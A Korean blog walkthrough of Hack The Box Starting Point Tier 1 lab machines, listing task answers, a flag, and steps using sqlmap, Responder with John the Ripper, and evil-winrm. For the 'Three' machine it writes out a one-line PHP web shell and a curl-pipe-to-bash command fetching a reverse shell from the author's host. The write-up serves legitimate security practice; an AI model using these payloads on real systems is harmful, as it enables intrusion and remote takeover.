워게임/hack the box

[hack the box] Tier 1 : Starting Point

name2965 2022. 11. 13. 03:30
728x90

1. Appointment

 

Task 1. What does the acronym SQL stand for?

answer : structured query language

 

Task 2. What is one of the most common type of SQL vulnerabilities?

answer : sql injection

 

Task 3. What does PII stand for?

answer : Personally Identifiable Information

 

Task 4. What does the OWASP Top 10 list name the classification for this vulnerability?

answer : A03:2021-Injection

 

Task 5. What service and version are running on port 80 of the target?

 

 

answer : Apache httpd 2.4.38 ((Debian))

 

 

Task 6. What is the standard port used for the HTTPS protocol?

answer : 443

 

 

Task 7. What is one luck-based method of exploiting login pages?

answer : brute-forcing

 

 

Task 8. What is a folder called in web-application terminology?

answer : directory

 

 

Task 9. What response code is given for "Not Found" errors?

answer : 404

 

 

Task 10. What switch do we use with Gobuster to specify we're looking to discover directories, and not subdomains?

answer : dir

 

 

Task 11. What symbol do we use to comment out parts of the code?

answer : #

 

 

submit flag

 

이 웹사이트의 로그인폼은 간단한 sql injection 구문에도 뚫리는것으로 보이지만

저는 sqlmap을 통해서 직접 DB의 구조를 파악하는 방식으로 직접 아이디와 비밀번호를 가로채보겠습니다.

 

먼저 로그인을 할때 웹사이트 요청형식을 가져와야합니다.

그러므로 버프스위트를 켜서 요청 방식을 가져와보면

 

 

이런식으로 가로챌수 있습니다.

 

이 정보를 사용하는 이유는, sqlmap을 사용할때 웹사이트 요청에 필요한 파라미터들을 일일이 옵션으로 줘야하는 번거로움이 있는데, 이 요청 양식을 파일로 저장해서 그대로 사용하면 굳이 수작업으로 파라미터를 적을 필요가 없기때문에 이 방법을 사용하는게 좀더 간편합니다.

 

아무튼 가로챈 요청데이터를 그대로 파일로 저장한뒤

이제 이 데이터파일로 sqlmap을 돌려서 DB정보를 알아내는 작업을 해야합니다.

 

 

기본적으로 time-based 공격을 기반으로 찾는거라서 시간이 좀 걸립니다.

 

툴을 돌려놓고 조금만 기다리면

다음과 같이 appdb, information_schema 이렇게 2개의 db가 탐색 되었다는것을 알수 있습니다.

 

이제 어떤 DB에 로그인 정보가 있을지 모르니 각각의 db의 테이블을 탐색해보면

 

appdb에는 users라는 테이블이 있고

 

다음과 같이 information_schema에는 사용자 정보에 관한 별다른 정보는 보이지 않으므로

appdb를 중점으로 DB분석을 이어나가보면

 

 

다음과 같이 id,password,username 이 있는데, 제가 필요한건 username과 password 이므로 

이 2개의 칼럼을 덤프해보면

 

 

 

 

 

이렇게 유저이름과 비밀번호의 덤프를 떴습니다.

 

계정이 2개가 보이는데 두개다 한번씩 로그인해보면

 

 

두 계정 전부다 똑같이 플래그가 나옵니다.

 

 

 

2. Sequel

 

Task 1. What does the acronym SQL stand for?

answer : structured query language

 

 

Task 2. During our scan, which port running mysql do we find?

 

answer : 3306

 

 

Task 3. What community-developed MySQL version is the target running?

 

answer : MariaDB

 

 

Task 4. What switch do we need to use in order to specify a login username for the MySQL service?

answer : -u

 

 

Task 5. Which username allows us to log into MariaDB without providing a password?

answer : root

 

 

Task 6. What symbol can we use to specify within the query that we want to display everything inside a table?

answer : *

 

 

Task 7. What symbol do we need to end each query with?

answer : ;

 

 

submit flag

 

flag : 7b4bec00d1a39e3dd4e021ec3d915da8

 

 

3. Crocodile

 

 

 

Task 1. What nmap scanning switch employs the use of default scripts during a scan?

answer : -sC

 

 

Task 2. What service version is found to be running on port 21?

 

answer : vsFTPd 3.0.3

 

 

Task 3. What FTP code is returned to us for the "Anonymous FTP login allowed"

 

answer : 230

 

 

Task 4. What command can we use to download the files we find on the FTP server?

answer : get

 

 

Task 5. What is one of the higher-privilege sounding username in the list we retrieved?

 

뭔가 admin이라는 사용자 이름이 더 높은권한인것으로 보이므로 정답은 admin 입니다.

answer : admin

 

 

Task 6. What version of Apache HTTP Server is running on the target host?

 

이렇게 웹브라우저로 들어가서 개발자도구로 네트워크를 보면 버전을 볼수 있습니다.

answer : 2.4.41

 

 

Task 7. What is the name of a handy web site analysis plug-in we can install in our browser?

 

검색해보면 다음과 같은 플러그인이 있는것을 찾을수 있습니다.

answer : Wappalyzer

 

 

Task 8. What switch can we use with gobuster to specify we are looking for specific filetypes?

Port Enumeration (useegod.com)

 

Port Enumeration

1 min read Sep 28, 2022 Bypass NAC UseeGod in CheatSheet

useegod.com

answer : -x

 

 

Task 9. What file have we found that ca nprovide us a foothold on the target?

 

danielmiessler/SecLists: SecLists is the security tester's companion. It's a collection of multiple types of lists used during security assessments, collected in one place. List types include usernames, passwords, URLs, sensitive data patterns, fuzzing payloads, web shells, and many more. (github.com)

 

GitHub - danielmiessler/SecLists: SecLists is the security tester's companion. It's a collection of multiple types of lists used

SecLists is the security tester's companion. It's a collection of multiple types of lists used during security assessments, collected in one place. List types include usernames, passwords, ...

github.com

여기있는 사전파일을 다운받아서 사용하면 좋습니다.

 

answer : login.php

 

 

submit flag.

 

아까전에 찾은 admin 계정을 여기에 사용해보면

 

 

이렇게 플래그를 얻을수 있습니다.

 

 

4. Responder

 

 

 

 

Task 1. When visiting the web service using the IP address, what is the domain that we are being redirected to?

IP주소로 접속해보면 다음과같이 domain이 뜹니다.

answer : unika.htb

 

그런데 접속이 제대로 되지 않으므로 /etc/hosts에 직접 도메인을 추가해주겠습니다.

 

그러면 이렇게 접속이 됩니다.

 

 

Task 2. Which scripting language is being used on the server to generate webpages?

 

gobuster로 스캔해보면 다음과 같이 php페이지가 나오므로 정답은 php 입니다.

answer : php

 

 

Task 3. What is the name of the URL parameter which is used to load different language versions of the webpages?

 

 

answer : page

 

 

Task 4. Which of the following values for the 'page' parameter would be an example of exploiting a Local File Include (LFI) vulnerability: "french.html", "//10.10.14.6/somefile","../../../../../../../../windows/system32/drivers/etc/hosts", "minikatz.exe"

 

answer : ../../../../../../../../windows/system32/drivers/etc/hosts

 

 

Task 5. Which of the following values for the 'page' parameter would be an example of exploiting a Remote File Include (RFI) vulnerability: "french.html", "//10.10.14.6/somefile","../../../../../../../../windows/system32/drivers/etc/hosts", "minikatz.exe"

 

answer : //10.10.14.6/somefile

 

 

Task 6. What does NTLM stand for?

 

answer : New Technology LAN Manager

 

 

Task 7. Which flag do we use in the Responder utility to specify the network interface?

 

answer : -I 

 

 

Task 8. There are several tools that take a NetNTLMv2 challenge/response and try millions of passwords to see if any of them generate the same response. One such tool is often referred to as 'john', but the full name is what?

 

answer : john the ripper

 

 

Task 9. What is the password for the administrator user?

 

responder라는 툴을 이용해서 원격 호스트에 대한 인증 크리덴셜을 얻을수 있습니다.

 

일단 ifconfig으로 자신의 네트워크 인터페이스를 확인해줍니다.

보면 vpn으로 통신을 할때 사용되는 인터페이스는 tun0이고 그 인터페이스의 IP는 10.10.14.80입니다.

 

 

다음과 같이 responder를 킨뒤

 

아까전에 다른 언어로 페이지를 로드했을때 page태그를 이용해서 로컬파일을 로드하는 방식으로 페이지를 로드했으므로

RFI 취약점을 활용해서 다음과 같은 방식으로 공격을 시도해보면

 

이런식으로 responder가 내가 사용중인 인터페이스에서 인증 크리덴셜을 가로챌수 있습니다.

 

이 크리덴셜을 john the ripper를 통해서 해독을 시도할수 있습니다.

 

 

얻은 해시값을 파일에 저장한뒤

 

john을 다음과 같이 사용하면 비밀번호를 알아낼수 있습니다.

 

answer : badminton

 

 

Task 10. We'll use a Windows service (i.e. running on the box) to remotely access the Responder machine using the password we recovered. What port TCP does it listen on?

 

 

answer : 5985

 

 

submit flag.

 

 

NTLM 서버에는 evil-winrm 이라는 툴을 사용해서 접속할수 있습니다.

 

이런식으로 지금까지 얻은 정보를 통해서 접속을 해보면 C:\Users\Administrator\Documents 라는 디렉토리에 위치해 있는데, 플래그 파일이 어디에 있는지 찾아보면

 

 

이 디렉토리에 플래그 파일이 있습니다.

 

 

 

5. Three

 

 

Task 1. How many TCP ports are open?

 

answer : 2

 

 

Task 2. What is the domain of the email address provided in the "Contact" section of the website?

 

answer : thetoppers.htb

 

 

Task 3. In the absence of a DNS server, which Linux file can we use to resolve hostnames to IP address in order to be able to access the websites that point to those hostnames?

answer : /etc/hosts

 

 

Task 4. Which sub-domain is discovered during futher enumeration?

 

원래는 스캔했을때 떠야하지만 알수없는 이유로 제대로 스캔이 되지 않습니다.

일단 이런식으로 /etc/hosts 에 domain을 추가해줍니다.

 

answer : s3.thetoppers.htb

 

 

Task 5. Which service is running on the discovered sub-domain?

answer : amazon s3

 

 

Task 6. Which command line utility can be used to interact with the service running on the discovered sub-domain?

 

이런식으로 설치할수 있습니다.

 

answer : awscli

 

 

Task 7. Which command is used to set up the AWS CLI installation?

 

 

이런식으로 aws cli를 설정할수 있습니다.

저는 귀찮아서 대충 설정했습니다.

 

answer : aws configure

 

 

Task 8. What is the command used by the above utility to list all of the S3 buckets?

answer : aws s3 ls

 

 

Task 9. This server is configured to run files written in what web scripting language?

 

어떤 언어인지 php부터 차근차근 찾아보면

 

 

역시나 이번에도 php 페이지가 발견 되었습니다.

answer : php

 

 

submit flag.

 

이번에는 도데체 어쩌라는건지 감도 안잡혔는데, 웹페이지들 중에서 shell.php 와 같은 방식으로 페이지가 있는것을 보고

혹시 웹쉘을 업로드 할수 있을까? 하는 의구심이 들어서 한번 웹쉘 업로드를 시도해 봤습니다.

 

 

How to connect to your S3 storage (aws cli, S3cmd) - Knowledge Base - Gcore

 

How to connect to your S3 storage (aws cli, S3cmd) - Knowledge Base - Gcore

How to connect to your S3 storage (aws cli, S3cmd) - Knowledge Base - Gcore

gcore.com

일단 대상 서버의 s3 버킷에 위 사이트에 나와있는것처럼 원격지의 s3 버킷에 연결시도를 해볼수 있습니다.

 

 

 

그리고 macos - How to access a file on Amazon S3 from the Command Line? - Stack Overflow

 

How to access a file on Amazon S3 from the Command Line?

Question: Is there a simple way to access a data file stored on Amazon S3 directly from the command line? Motivation: I'm loosely following an online tutorial where the author links to the follo...

stackoverflow.com

 

이런식으로 s3 버킷에 파일을 업로드 할수 있습니다.

 

이 s3 버킷은 원격 접속에 대해서 따로 보안조치가 없으므로 리버스 쉘을 시도해보면

 

 

먼저 간단한 웹쉘을 작성합니다.

<?php system($_GET["cmd"]); ?>

 

 

 

작성한 웹쉘을 파일로 저장한뒤 다음과 같이 s3 버킷에 업로드 하고

 

웹사이트에 한번 들어가보면

이런식으로 웹쉘업로드를 통해서 서버의 쉘을 쓸수 있습니다.

웹쉘을 이용해서 플래그파일을 찾을수도 있지만 저는 리버스쉘을 사용해서 찾아보겠습니다.

 

 

먼저 아래의 사이트를 들어가서

 

https://www.revshells.com/

 

Online - Reverse Shell Generator

Online Reverse Shell generator with Local Storage functionality, URI & Base64 Encoding, MSFVenom Generator, and Raw Mode. Great for CTFs.

www.revshells.com

 

이 사이트에 들어가서 bash 리버스쉘을 하나 만들어줍니다.

 

 

IP주소는 ifconfig을 통해서 현재 네트워크 통신중인 인터페이스의 IP를 입력하고 포트는 443번을 사용해 줍니다.

 

이렇게 생성한 리버스쉘을 파일로 저장해야합니다.

 

 

그리고 nc와 python 서버를 다음과 같이 열어줍니다.

 

 

이제 웹쉘에서 다음과 같이 명령어를 사용하면

curl 10.10.14.80:8080/shell.sh | bash

 

먼저 웹서버에서 제가 열어놓은 파이썬 서버로부터 방금만든 리버스쉘을 가져온뒤 웹서버에서 가져온 리버스쉘을 

bash에서 실행시킵니다. 그러면 리버스쉘에서 설정되어있는 IP주소와 포트로 리버스쉘 작업을 수행해서

 

올바르게 열어놓은 nc에서 서버의 리버스쉘을 사용할수 있게됩니다.

이렇게 웹쉘을 타이핑하면

 

저의 컴퓨터에 있는 리버스쉘 파일을 가져간뒤 웹서버에서 작동시켜서

 

 

이렇게 리버스쉘이 연결되었습니다.

 

 

웹서버의 이 디렉토리에 플래그파일이 있었습니다.

 

 

 

Tier 1은 확실히 전 단계보다 어려운게 많긴 했습니다.

아직 VIP 기능을 사진 않았으므로 일단 Tier 2 로 넘어가서 공부를 계속할것입니다.

728x90

'워게임 > hack the box' 카테고리의 다른 글

[hack the box] Tier 0 : Starting Point  (0) 2022.11.08
[hack the box] 시작하기 전에 셋팅...  (0) 2022.11.08